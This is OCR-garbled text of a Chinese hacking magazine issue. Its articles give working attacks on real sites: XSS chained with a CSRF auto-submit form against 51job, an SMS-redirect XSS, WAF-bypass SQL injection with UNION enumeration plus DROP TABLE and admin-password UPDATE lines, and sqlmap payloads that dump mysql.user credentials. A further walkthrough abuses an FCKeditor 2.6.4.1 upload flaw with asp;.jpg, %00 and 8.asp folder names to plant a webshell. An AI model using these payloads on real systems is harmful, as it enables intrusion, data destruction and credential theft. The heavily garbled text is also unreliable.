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11 5, NPT 2
B LA T IBEE BRI F T XSS oottt 2
B2 AT XSS FETHL E A SGTE oo 3

BT SQLTEN ittt ettt ettt 4
H 1T sQLEANHEERR I LA R B TT R 4
F2H A salmap S B R BE NG e 6

R HHHIBIE oot 8
B IR xss JE PR T EEE A IT fck2.6.4.1 ZE Shell..vivieeeeeeeeeeeeeeeeeeeeee e 8
% 2 17 MS10-070 ASP.NET Padding Oracle {5 2 EE IR ..oovvveeeeeeceecceec e, 20

L b T S PP RT 25
1T FIH Mssql+PCANYWHhEre RN ...oooeeiiie e 25
5279 I R T RIS PR G BEME T oo 29
B 3 T IMSL3-046 EXP....eeeeeeeeeeeee ettt ettt 30
4T FTHE MS13-046 ANHE webshell TUAT-1..oooviiiiiieeeeeeeeee e 31
55 FTHE MS13-046 ANHE webshell FAT-2 c.oveeeieeieeeeeeeeeeeeeeeeeeeeee e 33
56 AR CAIN BERARFIEIE? oo, 34
% 7 — 6 REDHAT EN6 AR /MAFEATRI M ..o 34
58 71 FIF MSF 45 Plone, FZAL FreeBSD ....oviiviieiieeeeeeeeeeeee et 37

R AR E T ——c0deplay BB G . oo 41
F 1T metinfo5.1.7 etShell ....oeoiiiiiii i 41
2 2 75 Phpdisk  SQL Injection VUINerabilities ..........coovveeeiiiiiiieeceiieee e 43
537 web B2 R M E A A R B AT 47
%5 4 % Xycmsbook B 5 T2 XSS+CSRF (1] getshell YL /3T .voveeeeeeeieeeeeeeeeeeeeen 47

A e Y L TR 54
1 FEFEAE T helen FHI G ERUR e, 54
B2 RO ERE A T AR YRR oo, 57
3T A BRI T e 66

BT TER G 2RI oottt 74
BN BUEREED, BAEERIE Wife BREITHAE oo 74
B2 WHTER B A B IIEABE oo 76
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F—F HimA

F1HF RTHERABEECDH XSS

{E# : haxsscker
KH: WL - FdckTeam
Pdk: http://team. f4ck. net

BB g, FRATH F B AEE XS XSS, BIAIXLERE X A E, RAHCRED
B NG REFARD, FEERMOMAFTACE, WASSLHE R

KRB XSS B LA Rels 1 B Cinhr, HSUh — 8 Ib2 nl LT M, BEAE 4N IE 35
AN XSS KB, Bl N IR A fEFEMAR? HATE M RCHEEN, WK 1-1-1:

EXTRA_VERIFYSTATUS=0&TOP_VERIFYSTATUS:O&ISTOPDEGREE=OSLISEXTRADEGREE=0&Fr0m\’ear=2011&Fr0mM0nth=2&ToYear

=2017&ToMonth=3&SchoolName=123123123 &SubM ajor=24018MoreMajor = %EE %86 %6A5FEC %97 Jed@¥ET II0 % B8 %EHLEDT

B2%E9%80%E9%E 9%A 1 %8 9%ESYAF%E 7 %ES%%%AS%EK:%AD%M%ES%M%84%E5%¢'—\1%AB%ES‘:?:%%&Deqrﬂe 1&Edu[]eta

i1=123123%3Cimg+src%3Dx+onerrorde3 Dalert(3) %3 E&lsoverseas =0 &show_num=1&MNextAction=updatdélisEnglish=08FdulD = \jo

53602&ReSumelD=3027728968&FrrorSave=0 | Bl
1-1-1

WEWUEN, ¥5% repeater, BEREZM T, OK, $RAHIL, WK 1-1-2:

A4

B H 2001232017 F4R
¥ % 121121231123 g

£ TR ,;
¥ f |

& my.S1job.com HHRMET -

haxsscker

il j_ 1) =
: \ Tl I AT - L1,
- HEIEY T
K 1-1-2
HEXE, PUMTINZAIEZEAM T, &K, CSRF
BT LBy A= —A> CSRF Ui, il 1-1-3.
MR, ik 1-1-4.
X R MANER, S 51J0B A IR 4% FyiEid CSRF 47 XSS, BN ¥E K B —ANW 1
ID AR, 25K, XWEFNEAEANANGEERIR, WREMANGEE, SEMEESL
2RI E, TS M 1D, 1 HER COOKIE WAEE I BEA < &, Xk, mhal b
F_EVFR 7] ] CSRF #4id XSS T o
%Uﬁﬁ*ﬁ#gmk
B R EM G CSRE VLTSS B AR 1D, wTLAMBARERE QQ, X7 fiddiif, fil& CSRF (5
0T BARs ) , ik CSRF 5 XSS, Mt EE R G H A RERIN, F1E X
TR B B, sl XSS.
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[ (T3 v mmp—— 1. 1. htrin R - -

i DI WHebContentshFrom8ZiLocallUzerimapsatlploadshimagzeshl, html 127F

ZIDOCTYFE hitml PUBLIC “-//W3C//DTD YHIML 1.0 Transitional//EN" "http: Sfwww. w3 org/ TR ahtmll /DT xhitmll—transitional. dtd">
<hitml zmlns="http:/ www. w3 orgf1993 xhiml">
<head>

</head?

hadyr

form 1d="csrf" action="http:/fmy. 51job. comfev/in/Resune/Edubction php” method="post™>
{input type="text” name="EXTRA_VERIFYSTATUS" walue="0"><br /2

input type="text” neme:"TDP_‘.I"ERIFYSTATUS" walue="0"3br J¥

Linput type="text” name="ISTOPDEGEEE" walue="0"><br /> »
“input type="text” name="ISEXTEADEGEEE” walue="0"3<br />

“input type="text” name="FromYear” walue="2011"3{br ¥

input type="text” name="FromMonth” walue="2"3<br />

<input type="text” name="To¥ear” walue="Z017"»br />

“input type="text” name="ToMonth” walue="3"3br />

{input type="text” name="SchoolWame” walue="123123"»<br />

Yinput type="text” name="SubMajor” walue="2401">br ¥

Zinput type="text” name="MoreMajor” walue="%EG¥SE%ACKER¥OTHA0YESHI0RGEXEDNE0%E2KEIRI0KIDETHAL ¥EIVESRAFEETHESHOC KA KER BAD
HALHESHAL NI RES BAL RARKESHAENAD X by /2

“input type="text” name="Tlegree” walue="1"3<br J¥

Zinput type="text” name="Edulletail” walue="123123<img src=x onerror=alert (222)15"3<br
<input type="text” name:"Isoverseas" walue="0">{br />

“input type="text” name="show_roam” walue="1">br (>

{input type="text” name= “Wextheotion” walue=" update” ><hr />

“input type="text” name= 15Eng115h walue="0" by

Linput type="text” name="Edull" walue="8TRAIG0Z"»<br /¥

{input type="text” name="ReSumell” walue="302TTZE96"><br />

gibnp:}l; type=“text” name="ErrorSave” walue="0" by [ -
<i;pu.t type="button” onclick="formSubmit (1% walue="1g%7 "> (. A
bt (0] 0 faeriptd ‘J; ;
1ptrd t. £ 0], submit(); ipt J+
<J-s"§§1d§-> OCUMET orms submi ZCrip | E‘inl
1-1-3

FEHE Ll

*Eﬁ% E“T#—J—L‘r L y — -

e @ my.5ljob.com HAIRMST : =5

ES AT

Ex®EHK 222

HEIER

[ . {
il ;| at LT TR e
T TAER

H @& 20112 2017 3A
Z 3 123123 BOFIT;
E . 4 ME=THE

¥ B ( [ 7
- Ly |l'l-_ l. I\_\J

e s 123123 y | :
1 Bdlll

WAL TIAR
K 1-1-4
(&358) TUESHE: X

B2H RHEXSSEFH LGS

fE#: ch3rry

KH: EEWIE - FickTeam

Pdk: http://team. f4ck. net

HSRZ AR TR AR XX00 #AKIEE XSS 924, el A, #iH
e Wk (&$@) % () S IE A /& 116 T B A ?

TP, AEBRIRIR T XSS 19— “fass” ™™ UAEFHLIERD

5 3 T /It 89T EHIE: http//tqq.com/hackcto MR 45 15 0 M 20 T
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REMAE, FHATA LR, —adisls B3l b EsE kSR X B A
We? FATRE —H

<a href="wtai://wp/mc;110">$& T 110 FLIENlR</a>
<a href="wtai://wp/ap;110;">¥ 110 47\ FEIEHECK 2 K HIh)</a>
<a href="sms:110?body=Welcome to Sm4ll.org"> % 1% & </a>

KEATULFE R, XEER AR A RS (H2 M, SR ANERI A So AR 3E — AN ]
(R xss 4
(FH uc W4T xss L)

http ://feedback.uc.cn/self service/wap/searchfaq?instance=client&keywords=<script>

location.href="sms:110?body=Sm4ll.org!";</script>& node=searchfaq&button=4% 2%

W I RN R A TSR QQ IEFAR, AT TR, At 5 SiNe ?

AMESS, SRS A, I RRTUE RS, BEE S A DA B E R
ZR B — AT BRI T !

AR EFEAGEK? 1 FATHE .o

HMRICTHLR R AZ A — 28 “ACRD 7, Huhnse0682s Bom th EBR iRl id 2 S8~

FIrEL. . I RAEEERE 5 XSRS, S ERE?

i WM, R, TRER N AREIRR, SeA# T RE AT S R
B TR, AP i

(&358) TUHESHE: WX

B _E SQLEA

175 SQL FEA AP EALF LA R B R AR R TT

{E% : bystander

KH: RIS - F4ckTeam

M3k: http://team. f4ck. net

LA php A

31 & SQL 3N RN FZE i EFE 24

FEHZ WAF FIF TR, WAF H TSRS, (H2 WAF RiFgd, HUEs
(1, NRIEN) . WAF B ERSS fa i, RIS E SRS htp 5K EATLIE, 404
B — L FH 098 xss A sql B

Order by EA)HEE?

EAMEOURD KA, (HRA K WAF i T35 R 28, A, ATATBIged, 77k

IRfE 5, H Groupby BRI LA T o KNAFE WAF FIHLI 512 B

EL A0 N M AR 403 forbidden

| http //site.com/gallery ?id=1 order by 100--

A EAZ— " group by

| http://site.com/gallery ?id=1 group by 100-- &3}

B, AR RERMNESWEE PrAIRA I — SF A AT iZ i —MEa) . a2
(FEMIER))=(select 1)

% & 50 /3t 89U BB http//tag.com/ackcto  HMREM: 415 H &M 20 76
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http://example.org/mews.php ?id=8 and (select * from admins)=(select 1)
Al RE IR Bl —AM 1R, 258l Operand should contain 5 column(s).
XA FIIER 5 51 T .
SR )5 union select Bl T .o
http://site.com/news.php ?id=-8 union select 1,2,3,4,5-- |
order by 10000 T 3R BH M4 ?
XY T AW order by ATLAH, {HZF] 10000 T k2 A, 5 E—WARME, L
—TRTE R WAF 248, KRR, W BUOMENEAAH mAE, 235 — K8 B i
FRFMI POV ER R LA 10000 51, 2 SRARMI L, order by 1000000 b2 A, &
PR BATH R NB A AT .
http://site.com/news.php 2id=9 order by 10000000000-- A H 4 |
PATH AR —F url, £ id Jamn—"N9505, JF BRI —Mns.
| http ://site.com/news.php ?id=9' order by 10000000--+  Fi4 |
SRIGIFARAE A union BHIARAT 1, J7iE—F¢.
| http://site.com/news.php ?id=-9' union select 1,2,3,4,5,6,7,8--+ |
NG Atk 545 R B AR B9
A IHRBATENRRI) 15 B3 R RS L w0, AR, SCRaib], 2 2R, HA1#E
AR, GREW . R RATI T EF — N AR A HAb B
HSEIRBUITA R E4
http ://site.com/news.php ?id=9 union select 1,2,group concat(schema name),4 from information schema.schemata |
SR A IR A4 5 B I ) AR
http://site.com/news.php ?id=9 union select 1,2,group concat(table name),4 from information schema.tables where
table_schema=(iX B 55 %4z /2 hex Jifid)
SEPRIGIRERE
http://site.com/news.php ?id=9 union select 1,2,group concat(column name),4 from information schema.tables
where table_schema=(iX B 38 5 ¥ hex 4ifid) and table name=(iX HLIH S % 42 ] hex 4ifil)
EiE SQLENTT DMESHIEE RHE RS ?
SQL FTLAFE#], B, AR, ALl &HilEE R — N Thee, A gk
EH K S MDS H. B2t aAaain—0e. . nsert i NTEAIFATLL, AR AF]
GG, M, THER drop #HEANR, X, EHAMEMA LT . MuHK 7. &
A LIS update BTG A SRAS 0OE BE 1 A,
http://site.com/news.php ?id=1 |
X BAFEEN
FAEL union FREL T —48R 4, WA news, HATATEL T HIXAE MR news
.
http://site.com/news.php ?id=1; DROP TABLE news |
SR Pt BT AT FRET N R 1, R B R B Y, IS A TR
http//site.com/news.php ?id=1; UPDATE 'admin_login' SET 'password'="/R H 2./ md5' WHERE
login_name='admin'--
(&358) TUESHE: HiX

9 B W /4 89 EME: httpi//tgg.com/hacketo  HREMI: A 15 H  Ef: 20 G
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F23 A sqmap SLRFKERENESE

{E#: gannicus
RH: LIS - Fa4ckTeam
PWdk: http://team. f4ck. net

BB — R, AROZE s —F, ARG REE L E S ...
KR EBREHBIEN, In 7 BEIFR] T 28, AEARCEAEL KT A EIRZI RS 4
R, THAEERACIIN K

S hRifE DA &
feF B BREN, FREEN
ZHIPIALE  get ¥EN, post ¥ EAN, cookie VA, http header VEA

SR e BN AEIXFE R
FRIENSY 2 v Jis

error-based sql  FIEFEMEREIEATCLRE], FAESHRE, REM
union-based sql REMS (] union, FEEIEE, REW
blind sql FFFEIEN

HATE HAKE waf SFEHI5E0T, RMEE B2z 3] o il Emd AR, =MesdaE Nik
FERIFF B %A eub CBE—NpBE, TN 7T ERAIXFERR 7)), Kb, e RAFHEA
EFBREE, v T ERIE TR o ZPFTUMERTRIEAS EERFINRXAS, BFOAEHA T e
MIEA AR X, EATER G EREHE B L SR S5 K, X R A Refis A N iR, 24
R, fig e —MKAE u (B ILUE union 45, O RENMBA—E, BN — A HE W EIRIEEE .
AR BA G, B2t 2] TR, RRBE b T, ... HARARRAS R, HEmE
FOEAREMH u, B4, biRREHERN, AREERN ...

Wi, WIiXa%, 1% EMEE sqmap 7, ST+ BHIPMR K

BE2E 53 3 A mysql Al mssql BT, $EEE: sqimap F{§ H-v 3 A A& B EEANE K1 payload.
1X B A mysql i

e ENIZTHIRZ 7, THEMF:
http://pan.baidu.com/share/link?shareid=2203651853&uk=103985760
http://pan.baidu.com/share/link?shareid=2205108311&uk=103985760

wWEARSEWARE 7, X BN b —Se s A, PR a5 S E A )

SR AT B T 7 44

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,JFNULL(C
AST(CURRENT USER() AS CHAR),0x20),0x326864623a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL#

TEE concat AR AN, HAE sqlmap 2y 1 H 2B Hetlohn B AL, 1 i iE )84,
W R R, BEAATE C2AME,
AR 4

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
AST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL#

R A4

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT (0x3a7075713a,IFNULL(C
AST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,

9 O 70 /4 89 BUIMIM: httpi//tgg.com/hackcto MR AH 15 H  Ef: 2076
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NULL, NULL FROM INFORMATION_SCHEM A.USER_PRIVILEGES#

A 1T R

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT (0x3a7075713a,IFNULL(C

AST (grantee AS CHAR),0x20),0x697461626a6e, IFNULL(CAST (privilege type AS
CHAR),0x20),0x326864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
FROM INFORM ATION SCHEMA.USER PRIVILEGES#

SRR RS, IR EA REE mysql Bodla e AR

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT (0x3a7075713a,JFNULL(C
AST (user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST (password AS CHAR),0x20),0x326864623a),
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#

P4, limit A4 H R

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,JFNULL(C
AST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL FROM INFORMATION_SCHEM A.TABLES WHERE table_schema =
0x7061727474696d655f6a6162#

AR B IR

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT (0x3a7075713a,IFNULL(C
AST(column_name AS CHAR),0x20),0x697461626a6e, IFNULL(CAST (column_type AS
CHAR),0x20),0x326864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM
INFORMATION_SCHEMA.COLUMNS WHERE table name=0x61646d696e5f7461626c65 AND
table_schema=0x7061727474696d655{6a6f62 AND (column name=0x6164

6d696e6e616d65 OR column_name=0x70617373776f7264)#

byEN, W], BRTMETHP, BEEE, BT LAk, W ERARE u, (EAAERIE S
=, EAREEIE TR, BN A— R BRI TE, WA BRBH AR, 5 access T. ..
-

RIS | 4

AND ORD(MID((IFNULL(CAST(CURRENT USER() ASCHAR),0x20)),1,1)) > 116

AR i i

AND ORD(MID((IFNULL(CAST(DATABASE() ASCHAR),0x20)),6,1)) > 106

RIEA

AND ORD(MID((SELECT IFNULL(CAST(COUNT (table_name) AS CHAR),0x20) FROM INFOR
MATION SCHEMA.TABLES WHERE table schema=0x7061727474696d655f6a6162),1,1)) > 51

PRI B LHERAR AR HA U 7, S i st LT .
[l 1) fg 7 0B I DL, BEE RN, mysql BOAR<CS. 0, BIEEAZ LT B, EEFEFIER.
R

AND EXIST S(select * from table)

BB

AND EXISTS(select pwd from table)

BEMBLMILEZ T, BTREE REEAMrmc.

AKAEH mssql F access #E BN, AR KR T, GHEIFEE, HSLFEHEAZEA
%, A RBUCHET I,

Bt 53 02 myal Al mssql A sqlmap ENFI BRG] F, ATLLER . BLAM0 S SO R
sql PFEMEANRI A B B, 8 DA A AE 28R, B G A2 ik, il 2-2-1 5 K 2-2-2:

s ] T /It 89T EUTMMIE: httpi//tqq.com/hackcto  HUREM: A 15H &M 200




(ZeZE) —ERZaERE T

B Mk www.hadkcto.com Z E 955 . HACKCTO-201308-8

ZiR R HEA =8 p
I mssql 2013/7/12 23:20 i {5 5
| mysq| 2013/7/12 EQL SiTee .
Team
2-2-1
R EHER Eic) Fh
blind-based.txt 201377712 23:20 TXT =0 28 KB
error-based.txt 2013/7/1223:20  TXT 30l ( 94 KB | =/
union-based.txt 2013/7/12 23:20 TXT =244 l— i KP‘.T\S'
| BdM
2-2-2

B4 adv_sql.zip: http:/pan.baidu.com/share/link?shareid=3392405682& uk=103985760
(B35 Ti{EgmiE: X

B=F FANBLE

F1H —Rxss FRM TG & fck2.6.4.1 X shell

fE#: Isoftlove
KH: ERIE-FackTeam
MHE:  http://team.fack.net/

HARu80 www.xx.como fE I HIAVEN, A FBEF AR 56 HEAR], T2482] Xss 1£
Pt ELE S SRR AESRE I A3 T Fl N xss AXAT
SREEN T KB,k 3-1-1:

HEEE >> REEAE
BEFAFER

FAT ol - ©61 tUARRc

ud http://wivw. . cr/ w3 dmin/ Technology.asp?ck:
ASPSESSIONTDCAAQNAAD=EFNT JETBIHCLPAPBFFCOPEEN ; CNZZDATAZZB0288=enzz_ei d83D1TE27010 |
546-131"041TT‘J’I"M_!.RQSSAWS?F%ZSZFM. o cr¥2Bntime¥301372301219%26enzz_a%300
2B etine$3D1 372301219250826 5 nd3DUZEL L ine X301 37230121 9250026y Line¥3D15; Admin=601

Cookie |

=3

K 311
WRIEE T http://www.xx.com.cn/xxadmin/
FTTFBREE 3] http://www.xx.com.cn/xxadmin/index.asp, 1/ 3-1-2:

w5 8 T /3t 89T EHIE: http//tqq.com/hackcto  HUERHM: 45 15 0 Ef: 20 ©
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K 3-1-2

KA —A/NMER T4 7E XSS 5 2 5 6 B B A BT —47F
Wt BB 3] http://www.xx.com.cn/xxadmin/index.asp H1 T AH 0% A & 2 Jo & Hubk
JE LA — technology.asp? T ARIFKIELIANH & loginasp 228 WHYNE A TR
AR PARTMELN cookies — M H 2 login.asp FT AR GBI T cookies S8 J54E login.asp £
¥ index.asp B AT LA, AR IRANT AR /2 index.asp 1M HIX T meum.asp left.asp main.asp
AT E M RH A IKRBNG G asp XMF. FH T 2 156.0 BT AR AH BB 1s k3T
2R T RET AL NS

| java scanner2 20 %1 http://www.xx.com.cn /xxadmin/

535, WK 3-1-3. 3-1-4.

11 T‘_H' -'I'_|—HI,H , URLE]L)-Fww, c we_comspluss

1 |/ -.llHI.T‘L-,jJJ'_ﬁ-:f_l‘_HTTP; http: I 1. CNAY admin/

Target = http:/2waw . W% con.cn/yaasadnins

How much delay do you want after each reguest in milliseconds [default=81]
Hax delay after each req ] 1illiseconds = @

Do you want to proxy [Y=Yes. Anything Else=Mol?

used.

: FCKEDI™1
CHECKU™1 .ASF
CHIOCE™1 .ASP
ADHIMH™1L .ASP
BIOS_L™ .ASP
ARRAY_™1 .ASP
NEWBUF™1 .ASP

COUNT_™1 .ASF
COUNT _™3 .ASP
HETWOR™1 .ASP
MAIH_A™1.ASP
COUNT_™4_.ASP
HETWOR™Z .ASF
OTHER_™2 .ASP
COUNT _~2 .ASP
DISK_L™1.A%P
FUNDS_™1 .ASP
PHOTO_™1 .ASP

NEWPRO™1 .ASP

K 3-1-3

5 O T /3t 89T ETMIE: http//tqq.com/hackcto  HUERHAM: 45 15 0 Ef: 20 ©



(E5%) — B R BT B Mk www.hadkcto.com Z& &% 5 . HACKCTO-201308-8

Eiﬂgmﬂ File: ADMINM™1 .ASP

K] 3-1-4 K 3-1-5
HEANEGNE, B LUES, Wk 3-1-5.
N iZs& adminmain.asp FIMAR A T, WK 3-1-6. 3-1-7:

W . com.cn/ammmadmin/ad

a7
1
3
. ]
]
o
L

BWENE | §

BIRERR

R | 2T | B

} | pEcERS
IR | s
B | T

PR | pERTEEY

& 3-1-7

PS: EfAKLL T AAEHMIEAFATLL, 4 318, 3-1-9:

Wi e, Co M. cn Al admin/ Technology.asp
K 3-1-8

TN | N0AE | BAE | R¥ERS | XTHDN | BE5EA| SR ITRER| iET| REPTR| BHEE BLER
- BREUEET | HEiRt | #2I8 | BBER | B

B 3-1-9
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(ZeZE) —ERZaERE T

JaR R I R ZHIZEAFHAT L AR A A, AREKRICERNRAZ I cookies R BEFFEE— TR

P BB AR VO RS2 B A B G S S, Wi 3-1-10:
EIEEM FEAERREE -
Hitp Only: Mo =

wHfmtE ;| [0 |2t end of session

r
C=nem =m momer | T

K 3-1-10

X AT, WA 3-1-11:

AR - [ et N D P

Http Onlby: Mo =

EE -

June 28, 2013 | 15:12:54

THERRTE] -
) 0
June | |28 [ » [2013| H& | 15 12 | - |54
= = = = =
K 3111
TRFF2IT D Bty o LABEME iy, & 3-1-12:
O T e comenls s ET H&00 @
Coskiax B8
CRETDATAZ 2N err v et XN THETO 1 0HE=10T0R1 TTET=hi L p RS TSI . enkfind e KN NTENN 21 M enr e _ oKV OENC Ty 0 L ame TID] FTZI01 2 1 S50 ) n TR 40 e KIN1 ITEN00 21 H250T i L ima TID1S w Haht
ASFSESSIDSTIOCCTCCE, ASFSESSTONTICAMDANDSEFNTTRIEORCLEARFFCOFFEN. Mdsinectl; CNLZDATAEIROCZOOW cnrn_ui dX302119511668-1 STE0E3TT- b IS IARISIISE Xt AT T ek |
FNRIDADDCTOLGEKEST: URL-2Fgetni i Tgr o duct Rl cpape I5TL1 st R TAspiaF cpyBT eypa il 1l il
L

SB0RRET ot ima K3D| ITEEEIT) EEEG 5 n3DARE] 0 L na DN 3T 22EE3T | B2ENEAr Lima N3N0 ASFSESSIONIDCCCTCCNE=!
TR0 s N2 KA 1 RS20 an RS2 TR TRIRT

ISR A, WA 3-1-13:

& 3-1-13
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R RER 2k F, i 3-1-14:
EERNE | RETER

BiH

EHERMS . 568

. Brsee Mrnsz Mewrz Mew

Ps: T st AR 3k, i 3-115:

Bz D RIB RB® &V AL E e
;-I_F!_Eﬁ._lﬁ bl

B U x ciEE|CTEEEE=SI0OAd

ReO=@ &=

e vl 2 iEm e . =0 ol T~ v
K 3-1-15

e 7 LA T FCK 1 URL #RANMT TR ICE B A8 2] TIX B A FRA, FERMZRA
& 2.6.4.1, BE2IEIAAHR 7, Wk 3-1-16:

‘ ®T | FUE | FIHHEE

i CKthe text editor for Internet =
editor 2641

Build 23187
Selected Sponsor
] Support Open Source Software /,
I FredCK

Spell Chack

AsYou Type

EFEF £ EFEEFE btto Swww fokeditor net /. Become &
Copyright & 2003-20039 Frederico Caldeira Knabben Sponsar

& 3-1-16
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DK 9 /2 1156.0 BT LAZE FE AT IR VIR, ANl CANETEE 1.asp 23 H AME UK 1_asp, WA 3-1-17.
3-1-18:

Bz EH X

IE | ®E (L2 =5
CEEEE: -
3-1-17
Resource Type
File -~ -
(1120
11 asp
H201306271546575601.ipg
H2013062715520584711.ipg
_'| F201306271553287763 aspx: %00ipg
:'| H201306271554299682 asp:1%00ing

K 3-1-18
IEERNEET TS B imAa Auir LLH%00 &k, Wik 3-1-19

2011-03-23 00:40 | BR-WE ( ZTEETF | Rank: 63 HEE: 7 | BBE T FEE 2=t
http://seclists.org/pen-test/2010/1ul/0 EEFEHT

2012-10-25 23:36 | GBdSnow ( SEHEMEF | Rank: 21 &S | —HEES I, S=MmEak L)
EETEAEAREE, xssHISGERERRE. . . AR, . .
& 3-1-19

NENB)EEH R FCKeditor SCAF BAEC. AR« "R RN pI5ed 77k, 18RI 45 ), il 3-1-20.
K| 3-1-21:

a5757124 | | &3F=T 12 hafRT | REEEE
[ t=dn) http:/ e freebuf.com/vuls/6408.html 182300
3| 7k

Kl 3-1-20
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#F Lk 00 BB L, 5, HisPREMmEiE
gl 5k

T 0s

ET 6T

L ] SR

S HENE

[=1:=3
xlz0izal D =T 2 e BEEEE
& burpRJL2AZE s B 106,
]| 29 i
oy 0L
E=mM 1 =i
L 8817 S hFE
ST EEHEE
=1
Arel D EET 2 AmE0 | BEIREE
(S BERR
K 3-1-22
TR B R A AN AHEfE TAMPER DATA , 1/ 3-1-23. 3-1-24. 3-1-25:

Ipload a new file in this folder
[ Create Mew Folder | S Y ——
A=oix - 2a. -

K 3-1-23

Tamper with request?

httl‘:l :.'|l II|I [ETEXITT .-0 m. Cﬂl-'-d minl,lr FCKE dI'III r.'ll ed I:':' r:.' ﬁ 'E man ag er:,l conne I:tlj r
/asp/connectorasp?Command=F...

[¥] Continue Tampering?

i Tamper [ ’ Submit ‘ 'AtmrtRequestx

K 3-1-24
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Tamper Popup

http://vwoww.msom.cn Ssadmin/FCKeditor/ editor/filemanager/ connectors/asp/connectorasp. ..
Request Header Name

Host
User-Agent

Accept

Accept-Language

Accept-Encoding

Referer

Cookie

Request Header.. Post Parameter Name

www. ol Com.
. POST_DATA
Mozillaf5.0 (Wind
text/html,applica
zh-cn,zh;q=0.8,e
gzip, deflate
http://vww. g
ASPSESSIONIDCC

K 3-1-25

HAAE . BUR %00 WiEJEHEAE WALl Wl 3-1-26. 3-1-27:

Post Parameter Name

POST_DATA

Rasourca Type
e -

&) FCKeditor - Resources Browser - Mozilla Firefox (Buikd 20120511120803)

Fost Parameter .

filename="Tg ~
5p; 1.ipoll

\nCantent-Ty =

Post Parameter Mame

POST_DATA Sp

K 3-1-26

67372374\r ~

Post Parameter ...

Post Parameter ..
filename="1g =

Uee\r

&) Tamper Data - Ongoing requests

ST VERE I

@ iFiss

w15 5 /3t

Start Tampar  5top Tamper Clear

Fiter
Tima . Totl = URL
16:11:30.680 2. 266ms P t. http
16:11:32.387 8. 826ms ., http
K 3-1-27
, Wik 3-1-28. 3-1-29:
D FI201306271611382332 asp:1%00ipg
lUpload a new file in this folder
| [~ ] Create MNew Folder | T

O =555 [ #=tmiEs

hitrml body table thody
B “tr >
Std width="167 & - fed>
o ctd
<a

onclick="OpenFile ('|fupfiles/ file/F12013062T1611382332. asp; 1%00 s |J :
return falsze;”

K 3-1-28
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PR @008z ] v /v e o5

£ 4: \wrwwr oot igmmap £iles\ £ilet 1

ER— B, @ =% Btidl
e C: & Lewp 2013.06.27
HeeD: & e 20308-27
B I woerool B, FI201306271546575601 g 2013.06.27
R 8, FI201 3062715205471 jpg 20130627
2o """ = FI201306271553267763 asps:X00pg 230627
8 "—’ . = FI201306271554299698 a+p:1 %00ipg 20130627

K 3-1-29
B+ H St IEZNR fiddler 5 burp suite FTPA—#2id% T .

fFF burp suite 5 fckeditor, B 218 3E R I SUCAHE SR, Wil 3-1-30:

Ezplorer HIF#RR
HERT

Type the name of the new folder:

AP |
g, FElburp sute, EEERE, ELFI8.aspIRESEF L

—ommand=CreateFolder £Type= ImagEECurrenr.Fo ldexr=% ZFI;FE wFolderNawe=8. asps],u

FERI8.aspitE8.a5p, A TRES_asp, HELRIRIEATENREE R, TEEHTFE.
B2, Zibbs T HNewFolderName, A CurrentFolder, %62FER /. #8RI TRESIHHIIZEMMAE. T2, - RERI T CurrentFolderfI{EHTS B /204
/8.35p. .

lreateFolder &Type=1maget€urrentf‘u lder=/5. asd&NewFU lderName=5,.aspi

AEEE EEEEERE:

'><CurrentFo lderl1:at,h= "/8.asp/" url="/Files/image/8. aspf]”
o

N o = e

BT FERINT.
PR, FRNTRIF—T fockeditor T B #rfR 88 RILATEl, S.aspiliFECsEmhErk! !
1 Basp |

Tk, FATCERES T s.aspfUEE, BTk, . RHEWAT oo
K 3-1-30
X T N H TAMPER {4 A TIMARXAME B AN ik % %% burp suite T 214 T fiddler, #0
B 3-1-31. 3-1-32:
T T L L= 0| & dd | s =R
B=hirSa(5) kiﬁﬂZﬁ‘u‘[E] Fi1

w

BESHMIR)... Ctri+R R E(A) Alt+F11
= .

HIERIE(P) =HD) Shift+F11

FHGZIPERIE(Z) v BEEE R (1)

K 3-1-31

Type the name of the new folder:

|11.asp |

. wmE || B |

Kl 3-1-32
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A CUR B L) Ui T, anp 3-1-33:

5 Fuddler - http:/[-.. com/ctfys]
V() @EE) BER) TAT) ME(V) HH(H)
SR R X Bk b o3xs $5 Az Ber E@BpE GEker LERE [BHEE M

__ Webgi(S) < V@ wmit| & R | £ ganm | & iEm
L Headers | Textview ||';-;e«bForms HexView
Waze Value
b Command CreateFolder
Trpe File

CurrentFolder /
NewFolderName 11.asp

vnid 137232177035
*
Kl 3-1-33
1B currentFolder & /l.asp, Nl 3-1-34. fi4¥KE, ikl 3-1-35:
SIER Y RER X B - b 2Ry B MAERE BEF @ 8 E GERET SO ®ER [ = MsDN R @ MR
e BE(S) = |G it | B i || £ peam | & wwemia | 0 20888 [ = rmeine |
GD ”"‘_‘35 :'22‘ cofg LeL po—— Headers | Textuiew _Hex'\-'er.- Auth Raw XML
Nasze Value
Comzand CreateFolder
Trpe File
_.(?I:u:zmtﬁo:aw 1. asp |
NewFoldezNaze 1l.asp
uuid 1372321770354
*
Break on Response
Transformer Headers TextView ImageView HexView WebView Auth Ca
Kl 3-1-34

TEE(F) #MiB(E) ®E(R) TR MEA(V) HBI(H)
wiEs 42 B X B - b 2mEe ltﬁ NEw BEr @
xS 2 niF L EE S8R S18breakpoints.
'0 - HTTP v il com.cn  Sagmmiin FCKeditor fe
Kl 3-1-35
KHERE AETIRE — R — A N . AR EEE currentfolder 24 aa.asp
NIA 245 T BTLAE S, a1k 3-1-36:

